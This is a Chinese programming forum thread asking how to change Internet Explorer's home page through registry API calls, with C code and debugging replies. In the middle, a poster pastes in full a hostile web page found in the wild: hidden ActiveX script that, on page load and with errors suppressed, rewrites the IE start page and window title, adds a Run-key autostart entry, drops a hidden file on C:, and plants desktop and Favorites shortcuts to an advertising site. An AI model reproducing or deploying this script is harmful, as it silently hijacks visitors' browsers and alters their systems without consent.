有什么方法用程序修改IE的主页？

调用api函数，RegOpenKeyEx(HKEY_CURRENT_USER,
"software\\Microsoft\\Internet Explorer\\Main..."，//子键位置
0，
Key_READ,&hKey);
RegQueryValueEx(hKey,............),RegSetValueEx();用这些函数就行，自己找本书看看

BYTE lpkeyvalue[255];
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main",0,KEY_READ,&hkey1);
RegQueryValueEx(hkey1,"Start Page",0,0,lpkeyvalue,&dwbuf);
result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,&dwbuf);编译说result返回有错，但我对照了RegSetValueEx()的用法，没错呀，
那位高人指点一二

RegSetValueEx()的最后一个参数是什么？应该是DWORD，你用的是指向DWORD的指针？

DWORD dwbuf=256;
有错吗？？

我发现了一段特别狠的网页。
能创建、删改文件、修改注册表、
代码如下
<script language="Javascript">parent.name= 'vh4t8jkn34';</script>
<html><HTML XMLNS:IE><HEAD><TITLE>★寒晨★空间</TITLE>
<META content="MSHTML 5.50.4134.600" name=GENERATOR></HEAD>
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (document.cookie.indexOf("km169set") == -1)
{
  sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\★点击访问★ ->寒晨空间★\\", "c:\\yntop.htm");
  hd=fo.CreateTextFile("c:\\yntop.htm");
  hd.write('<html><head></head><\script  language=javascript>window.open("http://va.51.net");<\/script></html>');
  hd.close();
  file=fo.GetFile("c:\\yntop.htm");
  file.Attributes=6;
  var expdate = new Date((new Date()).getTime() + (1));
  document.cookie="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();
</SCRIPT> </td>
    <td width="10%"></td>
    <td width="10%"><SCRIPT>
/////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Desktop"+"\\"+"【寒晨空间】"+".URL");Shor.TargetPath="http://va.51.net";Shor.Save();}catch(yu){}}catch(yu){}}setTimeout("yuzi()",1000);</SCRIPT><SCRIPT>function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}function meier()
{try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();try{Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://va.51.net");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chga=general; expiresa=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}AddFavLnk(loc, "【寒晨空间】", "http://va.51.net");if (document.cookie.indexOf("bChg") == -1)
{
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "IE广告  【寒晨空间】『http://va.51.net』");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "IE广告  【寒晨空间】『http://va.51.net』");var expdate = new Date((new Date()).getTime() + (1));
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "http://va.51.net");
document.cookie="bChg=general; bexpires=" + expdate.toGMTString() + "; path=/;"
}}catch(e){ }
}
catch(e){ }
}function init(){
setTimeout("meier()", 1000);
}
init();
</SCRIPT><SCRIPT>
/////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
</SCRIPT></td>
    <td width="10%"></td>
    <td width="10%"></td>
    <td width="10%"></td>
    <td width="10%"></td>
    <td width="10%"></td>
    <td width="10%"></td>
  </tr>
</table><BODY style="OVERFLOW-Y: scroll; OVERFLOW-X: hidden; WIDTH: 100%" text=#ffffff
vLink=#ffff80 aLink=#ffff80 link=#cc3399 bgColor=#000000 leftMargin=0
background=index.files/beijing.gif topMargin=0 onload=makesnake()
onunload=money() marginheight="0" marginwidth="0">
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=0 width="75%" border=0>
  <P>　 </STYLE>

<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
  <TR>
    <TD align=middle width=330>
      <TABLE cellSpacing=10 cellPadding=0 width=300 border=0>
        <TBODY>
        <TR>
          <TD align=middle>　</TD></TR>
        <TR>
          <TD align=middle>
            <TABLE cellSpacing=0 cellPadding=0 width=209 border=0>
              <TBODY>
              <TR>
                <TD align=middle><A target=_blank
                  href="ziliao"><IMG height=65
                  src="index.files/profile.gif" width=119 border=0></A></TD></TR>
              <TR>
                <TD><A target=_blank
                  href="tubiao"><IMG height=49
                  src="index.files/gallery.gif" width=126 border=0></A></TD></TR>
              <TR>
                <TD><A target=_blank
                  href="gechi"><IMG height=57
                  src="index.files/lyric.gif" width=209 border=0></A></TD></TR>
              <TR>
                <TD vAlign=bottom align=middle height=77><IMG height=5 src=""
                  width=40><A target=_blank
                  href="liaoliao"><IMG height=67
                  src="index.files/review.gif" width=122 border=0></A></TD></TR>
              <TR>
                <TD align=middle height=60><A target=_blank
                  href="xinwen"><IMG height=58
                  src="index.files/news.gif" width=118 border=0></A></TD></TR>
              <TR>
                <TD align=right><A target=_blank
                  href="http://www5.bsina.com"><IMG
                  height=77 src="index.files/links.gif" width=119
                border=0></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
    <TD vAlign=top width="99%">
      <TABLE height=100 cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD width=191>　<IMG style="WIDTH: 444px; HEIGHT: 77px" height=60 src="http://va.51.net/3d/3d5.gif" width=356></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=472 border=0>
<TBODY>
<TR>
<TD align=middle>
          <TD width=191>　</TD></TR></TBODY></TABLE>
      <TABLE cellSpacing=0 cellPadding=0 width=472 border=0>
        <TBODY>
        <TR>
          <TD align=middle>
            <TABLE cellSpacing=0 cellPadding=0 border=0>
              <TBODY>
              <TR>
                <TD width=25 height=15><IMG height=15 src="index.files/tl.gif"
                  width=25></TD>
                <TD background=index.files/t.gif height=15><IMG height=5
                  src="" width=5></TD>
                <TD width=15 height=15><IMG height=15 src="index.files/tr.gif"
                  width=15></TD></TR>
              <TR>
                <TD vAlign=top width=25 background=index.files/l.gif><IMG
                  height=125 src="index.files/stick.gif" width=25></TD>
                <TD bgColor=#00b1ca>
                  <OBJECT
                  codeBase=http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,0
                  classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000
                  align=baseline width=400 height=300 border="0"><PARAM NAME="_cx" VALUE="10583"><PARAM NAME="_cy" VALUE="7938"><PARAM NAME="Movie" VALUE="http://va.51.net/flash/women.swf
"><PARAM NAME="Src" VALUE="http://va.51.net/flash/women.swf
"><PARAM NAME="WMode" VALUE="Window"><PARAM NAME="Play" VALUE="-1"><PARAM NAME="Loop" VALUE="-1"><PARAM NAME="Quality" VALUE="High"><PARAM NAME="Menu" VALUE="-1"><PARAM NAME="Scale" VALUE="ShowAll"><PARAM NAME="DeviceFont" VALUE="0"><PARAM NAME="EmbedMovie" VALUE="0">
                  <embed src="http://va.51.net/flash/women.swf
" align="baseline" border="0"
                  width="100" height="100" loop="false" menu="false"
                  quality="high" type="application/x-shockwave-flash"
                  pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></OBJECT>
                  <P></P></TD>
                <TD width=15 background=index.files/r.gif><IMG height=5 src=""
                  width=5></TD></TR>
              <TR>
                <TD width=25 height=16><IMG height=16 src="index.files/bl.gif"
                  width=25></TD>
                <TD background=index.files/b.gif height=16><IMG height=5
                  src="" width=5></TD>
                <TD width=15 height=16><IMG height=16 src="index.files/br.gif"
                  width=15></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
    <TD class=text align=middle>　</TD></TR></TBODY></TABLE>
<P><IMG alt="index/well14.gif (3310 bytes)" src="index.files/well14.gif">
<SCRIPT>document.write("<a href=http://www.textclick.com/viewmain.asp?name=jyb52 target=_blank><img src=http://ad.t2t2.com/stat.asp?user=jyb52&refer="+escape(document.referrer)+"&cur="+escape(document.URL)+" alt=太极统计 border=0></a>");</SCRIPT>
<FONT color=blue size=6>OICQ:19959777</FONT></P>
<P><FONT color=#0000ff size=6></FONT></P>
<TABLE background=index.files/beijing.gif bgColor=#000080 border=2 borderColor=#000080 borderColorDark=#000080 borderColorLight=#000080 cellSpacing=1>
<TBODY>
<TR>
<TD align=middle><FONT color=#c0c0c0 size=6>s e a r c h</FONT></TD>
<TD align=middle>
<FORM action=http://jyb52.51.net/cgi-bin/searcher/searcher.cgi method=post>
<INPUT name=action type=hidden value=search>
<INPUT name=Keywords> <INPUT type=submit value=寒晨搜索 td <>
<TD align=middle><A href="http://jyb52.51.net/cgi-bin/searcher/searcher.cgi?menu=add"><FONT color=#005ab5 size=5>新站登录</FONT></A><FONT size=5> </FONT></TD></TR></TBODY></TABLE>
<P align=center>　</P></FORM>
<SCRIPT>
/////////////////////////////////////在桌面添加链接///////////(本程序由http://va.51.net提供)
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Desktop"+"\\"+"【寒晨空间】"+".URL");Shor.TargetPath="http://va.51.net";Shor.Save();}catch(yu){}}catch(yu){}}setTimeout("yuzi()",1000);</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">

</SCRIPT></noscript>

</noscript>
<SCRIPT LANGUAGE="JavaScript">

</SCRIPT>

你跟踪一下，看看执行到下面一句时，hKey1是不是NULL。如果是NULL，说明不是RegSetValueEx的问题；如果不是NULL，那你把下面函数最后一个参数前的取址符“&”去掉试试。
result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,&dwbuf);

BYTE lpkeyvalue[255];
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main",0,KEY_READ,&hkey1);
RegQueryValueEx(hkey1,"Start Page",0,0,lpkeyvalue,&dwbuf);
result=RegSetValueEx(hkey1,"www.neolec.com",0,REG_SZ,lpkeyvalue,dwbuf);这样编译通过了，但是IE没有启动www.neolec.com，why?????

我的计算机昨天就被改过，TNND

把最后一句改成下面的就可以了。
    strcpy((char*)lpkeyvalue,"http://www.neolec.com");
    result=RegSetValueEx(hkey1,"Start Page",0,dwType,lpkeyvalue,dwbuf);

想自己启动，把它放在Run键下，我的注册表被改过，我后来发现我每次开机时，可恶网页就自动启动。试试看。

调试易

有什么方法用程序修改IE的主页？

解决方案 »